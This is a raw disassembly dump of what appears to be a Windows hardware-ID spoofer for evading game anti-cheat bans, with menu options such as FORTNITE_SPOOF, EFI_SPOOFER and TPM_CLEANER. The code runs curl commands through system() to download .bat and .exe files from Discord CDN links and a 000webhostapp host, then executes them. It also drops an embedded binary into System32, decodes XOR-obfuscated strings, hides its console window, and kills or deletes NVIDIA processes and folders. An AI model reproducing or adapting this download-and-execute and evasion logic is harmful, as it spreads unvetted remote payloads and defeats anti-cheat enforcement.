call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
mov byte [0x1403160e9], r12b
call fcn.14004ed10
mov rdx, rax
lea rcx, [0x140316368]
call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
mov byte [0x1403160c8], r12b
call fcn.14004d990
mov rdx, rax
lea rcx, [0x1403162a0]
call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
mov byte [0x1403160d9], r12b
call fcn.14004ce60
mov rdx, rax
lea rcx, [0x1403162f8]
call fcn.140059e70
lea rcx, [rbp - 0x80]
call fcn.140030790
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017510
mov rdx, qword [0x1403159b0]
mov rax, qword [rdx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x1400553ef
lea rcx, [rax + 0x260]
cmp qword [rdx + 0x4dd8], r13
je 0x1400553f6
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea rdx, [rbp + 0x140]
subss xmm1, dword [rax + 0x28]
movss xmm0, dword [r14 + 0x38f8]
lea rcx, str.SPOOF
addss xmm0, xmm15
mov dword [rbp + 0x144], 0x41f00000
subss xmm1, xmm0
mulss xmm1, xmm12
movss dword [rbp + 0x140], xmm1
call fcn.14002e2d0
test al, al
je 0x140055f40
cmp byte [0x140316054], r13b
mov dword [0x1403159c4], 3
je 0x140055727
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.1400307f0
mov r8d, 0x390a8
lea rdx, [0x1401a3120]
lea rcx, [rbp - 0x80]
call fcn.14003fee0
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp + 0x60]
call fcn.14003fd50
lea rcx, [rbp + 0x80]
mov rbx, rax
call fcn.14003fd50
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0x2b0]
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x1e0]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.14003fd50
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.14003fd50
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x2b0]
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x80]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.14003fd50
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.14003fd50
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x2b0]
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x80]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.140030790
call fcn.14003fff0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1176296529477247038_1176300134989058190_Scripthook_bypass.exe___output_C:UsersScripthook_bypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__downtodowntfxxfordown.000webhostapp.com_exe_FiveM_Cleanerino1.zip___output_C:UsersFiveM_Cleanerino1.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersScripthook_bypass.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersFiveM_Cleanerino1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003ad30
call fcn.140050170
jmp 0x14005573c
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp byte [0x140315a05], r13b
je 0x140055a33
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.1400307f0
mov r8d, 0x390a8
lea rdx, [0x1401a3120]
lea rcx, [rbp - 0x80]
call fcn.14003fee0
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.14003fd50
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.14003fd50
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, r14
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x80]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.14003fd50
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.14003fd50
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, rsi
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x80]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.14003fd50
lea rcx, [rbp + 0x1e0]
mov rbx, rax
call fcn.14003fd50
mov r8, rax
lea rcx, [rbp + 0x2b0]
mov rdx, rdi
call fcn.14005b2e0
mov rdx, rax
lea r8, [0x1400f5cfc]
lea rcx, [rbp + 0x80]
call fcn.14005b590
mov r8, rbx
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14005b600
mov rcx, rax
call fcn.140030780
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140030790
lea rcx, [rbp + 0x80]
call fcn.140030790
lea rcx, [rbp + 0x2b0]
call fcn.140030790
lea rcx, [rbp + 0x1e0]
call fcn.140030790
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140045ff0
call fcn.140050170
call fcn.14003ad30
lea rsi, [0x140315bd0]
mov rbx, rsi
lea rdi, [0x140315e90]
nop dword [rax]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x736c63
mov byte [rbp - 0x1c], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x140055a02
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x1b]
mov dword [rbp - 0x1b], 0x736c63
mov byte [rbp - 0x17], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x1400559e0
jmp 0x140055a41
lea rdi, [0x140315e90]
lea rsi, [0x140315bd0]
cmp byte [0x140315a04], r13b
je 0x140055abe
lea rdx, [rbp - 0x80]
call fcn.140058030
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp - 0x80]
call fcn.14003fee0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140055aa4
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055a9f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cb8
call fcn.1400c8c18
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x140315a07], r13b
je 0x140055eb1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x140314be9], r13b
je 0x140055b98
xor byte [str._CuRGQWygjamoecV], 0x1d
xor byte [0x140314bd1], 0x1e
xor byte [0x140314bd2], 0x1f
xor byte [0x140314bd3], 0x20
xor byte [0x140314bd4], 0x21
xor byte [0x140314bd5], 0x22
xor byte [0x140314bd6], 0x23
xor byte [0x140314bd7], 0x24
xor byte [0x140314bd8], 0x25
xor byte [0x140314bd9], 0x26
xor byte [0x140314bda], 0x27
xor byte [0x140314bdb], 0x28
xor byte [0x140314bdc], 0x29
xor byte [0x140314bdd], 0x2a
xor byte [0x140314bde], 0x2b
xor byte [0x140314bdf], 0x2c
xor byte [0x140314be0], 0x2d
xor byte [0x140314be1], 0x2e
xor byte [0x140314be2], 0x2f
xor byte [0x140314be3], 0x30
xor byte [0x140314be4], 0x31
xor byte [0x140314be5], 0x32
xor byte [0x140314be6], 0x33
xor byte [0x140314be7], 0x34
mov byte [0x140314be9], r13b
lea r8, [0x140314be8]
lea rdx, str._CuRGQWygjamoecV
lea rcx, [rbp - 0x80]
call fcn.14005bd80
mov r8d, 0x5e670
lea rdx, [0x1402ae800]
lea rcx, [rbp - 0x80]
call fcn.14003fee0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140055c00
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055bfb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cbf
call fcn.1400c8c18
cmp byte [0x140314038], r13b
je 0x140055cb5
xor byte [str._CuRGQWyGJAOFO_], 0x1d
xor byte [0x140314021], 0x1e
xor byte [0x140314022], 0x1f
xor byte [0x140314023], 0x20
xor byte [0x140314024], 0x21
xor byte [0x140314025], 0x22
xor byte [0x140314026], 0x23
xor byte [0x140314027], 0x24
xor byte [0x140314028], 0x25
xor byte [0x140314029], 0x26
xor byte [0x14031402a], 0x27
xor byte [0x14031402b], 0x28
xor byte [0x14031402c], 0x29
xor byte [0x14031402d], 0x2a
xor byte [0x14031402e], 0x2b
xor byte [0x14031402f], 0x2c
xor byte [0x140314030], 0x2d
xor byte [0x140314031], 0x2e
xor byte [0x140314032], 0x2f
xor byte [0x140314033], 0x30
xor byte [0x140314034], 0x31
xor byte [0x140314035], 0x32
xor byte [0x140314036], 0x33
mov byte [0x140314038], r13b
lea r8, [0x140314037]
lea rdx, str._CuRGQWyGJAOFO_
lea rcx, [rbp - 0x80]
call fcn.14005bd80
mov r8d, 0x7180
lea rdx, [0x14030cea0]
lea rcx, [rbp - 0x80]
call fcn.14003fee0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140055d1d
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055d18
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cc6
call fcn.1400c8c18
cmp byte [0x1403142f1], r13b
je 0x140055dd9
xor byte [str._CuRGQWyGJANOEH_X], 0x1d
xor byte [0x1403142d9], 0x1e
xor byte [0x1403142da], 0x1f
xor byte [0x1403142db], 0x20
xor byte [0x1403142dc], 0x21
xor byte [0x1403142dd], 0x22
xor byte [0x1403142de], 0x23
xor byte [0x1403142df], 0x24
xor byte [0x1403142e0], 0x25
xor byte [0x1403142e1], 0x26
xor byte [0x1403142e2], 0x27
xor byte [0x1403142e3], 0x28
xor byte [0x1403142e4], 0x29
xor byte [0x1403142e5], 0x2a
xor byte [0x1403142e6], 0x2b
xor byte [0x1403142e7], 0x2c
xor byte [0x1403142e8], 0x2d
xor byte [0x1403142e9], 0x2e
xor byte [0x1403142ea], 0x2f
xor byte [0x1403142eb], 0x30
xor byte [0x1403142ec], 0x31
xor byte [0x1403142ed], 0x32
xor byte [0x1403142ee], 0x33
xor byte [0x1403142ef], 0x34
mov byte [0x1403142f1], r13b
lea r8, [0x1403142f0]
lea rdx, str._CuRGQWyGJANOEH_X
lea rcx, [rbp - 0x80]
call fcn.14005bd80
mov r8d, 0x8788
lea rdx, [0x140292dd0]
lea rcx, [rbp - 0x80]
call fcn.14003fee0
lea rcx, [rbp - 0x80]
call fcn.140030790
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1198799358058053644_AmiSpoof.bat___output_C:UsersAmiSpoof.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amifldrv64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:UsersAmiSpoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.14003ad30
mov rbx, rsi
nop dword [rax + rax]
lea rcx, [rbp - 0x16]
mov dword [rbp - 0x16], 0x736c63
mov byte [rbp - 0x12], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x140055e82
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x736c63
mov byte [rbp - 0xd], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x140055e60
cmp byte [0x140316055], r13b
jne 0x140056ccd
cmp byte [0x140315a06], r13b
je 0x140055f40
call fcn.140045ff0
mov rbx, rsi
nop
lea rcx, [rbp - 0xc]
mov dword [rbp - 0xc], 0x736c63
mov byte [rbp - 8], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x140055ef2
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 7]
mov dword [rbp - 7], 0x736c63
mov byte [rbp - 3], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x140055ed0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1199423382668718190_Remove_Trace__Clean.bat___output_C:UsersRemove_Trace__Clean.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersRemove_Trace__Clean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003ad30
call fcn.14002d4a0
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017510
movss xmm4, dword [0x140314c60]
lea r8, [rbp + 0x148]
movss xmm0, dword [0x140314c64]
subss xmm4, xmm6
subss xmm0, xmm8
mov dword [rbp + 0x148], 0x41900000
movzx r9d, r12b
mov dword [rbp + 0x14c], 0x41900000
lea rdx, [rbp + 0x150]
lea rcx, str.Container2
mulss xmm4, xmm12
movss dword [rbp + 0x154], xmm0
movss dword [rbp + 0x150], xmm4
call fcn.14002cfb0
lea rdx, [0x140316054]
lea rcx, str.SPOOF_ALL
call fcn.14002fbd0
call fcn.14002f700
lea rdx, [0x140315a05]
lea rcx, str.SPOOF_ASUS
call fcn.14002fbd0
call fcn.14002f700
lea rdx, [0x140315a04]
lea rcx, str.TPM_CLEANER
call fcn.14002fbd0
call fcn.14002f700
lea rdx, [0x140315a07]
lea rcx, str.FORTNITE_SPOOF
call fcn.14002fbd0
call fcn.14002f700
lea rdx, [0x140316055]
lea rcx, str.EFI_SPOOFER
call fcn.14002fbd0
call fcn.14002f700
lea rdx, [0x140315a06]
lea rcx, str.FIVEM_SPOOFER
call fcn.14002fbd0
mov rcx, qword [0x1403159b0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x1400fb904]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
jmp 0x1400545aa
cmp eax, 2
jne 0x1400545af
movss xmm0, dword [0x140314c60]
lea r8, [rbp + 0x1a0]
movss xmm1, dword [0x140314c64]
lea rdx, [rbp + 0x160]
subss xmm0, dword [0x1400fb964]
subss xmm1, dword [0x1400fb948]
movzx r9d, r12b
mov dword [rbp + 0x1a0], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1a4], 0x41200000
movss dword [rbp + 0x160], xmm0
movss dword [rbp + 0x164], xmm1
call fcn.14002cfb0
jmp 0x1400545aa
cmp ecx, 3
jne 0x1400545b8
mov r8, qword [0x1403159b0]
test r8, r8
jne 0x140056147
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x1403160ec]
mov r8, qword [0x1403159b0]
movss xmm1, dword [r8 + 0x18]
mulss xmm1, dword [0x1400fb8cc]
cmp ecx, 3
jne 0x140056164
movss xmm6, dword [0x1400fb96c]
jmp 0x140056168
movaps xmm6, xmm13
subss xmm6, dword [0x1403160c4]
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x210]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
mulss xmm6, xmm1
movss xmm1, dword [0x14031615c]
mov rbx, qword [rax + 0x2a8]
addss xmm6, dword [0x1403160c4]
movss dword [rbp + 0x214], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1400fb860]
movss dword [rbp + 0x210], xmm0
movss xmm0, dword [0x140316160]
mulss xmm1, dword [0x140316164]
movss dword [0x1403160c4], xmm6
movss dword [rbp + 0x218], xmm0
movss dword [rbp + 0x21c], xmm1
call fcn.1400052c0
movss xmm7, dword [0x140314c60]
mov edi, eax
movss xmm8, dword [0x140314c64]
movaps xmm0, xmm7
movss xmm9, dword [rbp + 0x20]
movaps xmm1, xmm8
movss xmm10, dword [rbp + 0x24]
mulss xmm0, xmm12
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x168], xmm0
movss dword [rbp + 0x16c], xmm1
test eax, 0xff000000
je 0x1400562d6
comiss xmm12, xmm6
ja 0x1400562d6
movss xmm0, dword [0x1400fb8ec]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x168]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140024de0
movss xmm0, dword [0x1400fb8d4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023400
mov r8, qword [0x1403159b0]
movss xmm8, dword [0x140314c64]
movss xmm7, dword [0x140314c60]
movss xmm6, dword [0x1403160c4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x220]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x224], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1400fb870]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x220], xmm0
movss xmm0, dword [0x140316160]
mulss xmm1, dword [0x140316164]
movss dword [rbp + 0x228], xmm0
movss dword [rbp + 0x22c], xmm1
call fcn.1400052c0
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x1400fb8b8]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x170], xmm0
movss dword [rbp + 0x174], xmm1
test eax, 0xff000000
je 0x140056413
comiss xmm12, xmm2
ja 0x140056413
movss xmm0, dword [0x1400fb8ec]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x170]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140024de0
movss xmm0, dword [0x1400fb8d4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023400
mov r8, qword [0x1403159b0]
movss xmm8, dword [0x140314c64]
movss xmm7, dword [0x140314c60]
movss xmm6, dword [0x1403160c4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0xa0]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0xa4], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0xa0], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0xac], xmm1
movss dword [rbp + 0xa8], xmm0
call fcn.1400052c0
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm12
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x1400fb8cc]
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x178], xmm0
movss dword [rbp + 0x17c], xmm1
test eax, 0xff000000
je 0x140056548
comiss xmm12, xmm2
ja 0x140056548
movss xmm0, dword [0x1400fb8ec]
subss xmm2, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x178]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140024de0
movss xmm0, dword [0x1400fb8d4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023400
mov r8, qword [0x1403159b0]
movss xmm8, dword [0x140314c64]
movss xmm7, dword [0x140314c60]
movss xmm6, dword [0x1403160c4]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x40]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x44], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x40], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0x4c], xmm1
movss dword [rbp + 0x48], xmm0
call fcn.1400052c0
mulss xmm6, dword [0x1400fb8d4]
mov edi, eax
mulss xmm7, xmm12
mulss xmm8, xmm12
addss xmm7, xmm9
addss xmm8, xmm10
movss dword [rbp + 0x180], xmm7
movss dword [rbp + 0x184], xmm8
test eax, 0xff000000
je 0x14005664b
comiss xmm12, xmm6
ja 0x14005664b
movss xmm0, dword [0x1400fb8ec]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x180]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140024de0
movss xmm0, dword [0x1400fb8d4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140023400
mov r8, qword [0x1403159b0]
mov dword [rbx + 0x78], r13d
mov rax, qword [r8 + 0x4038]
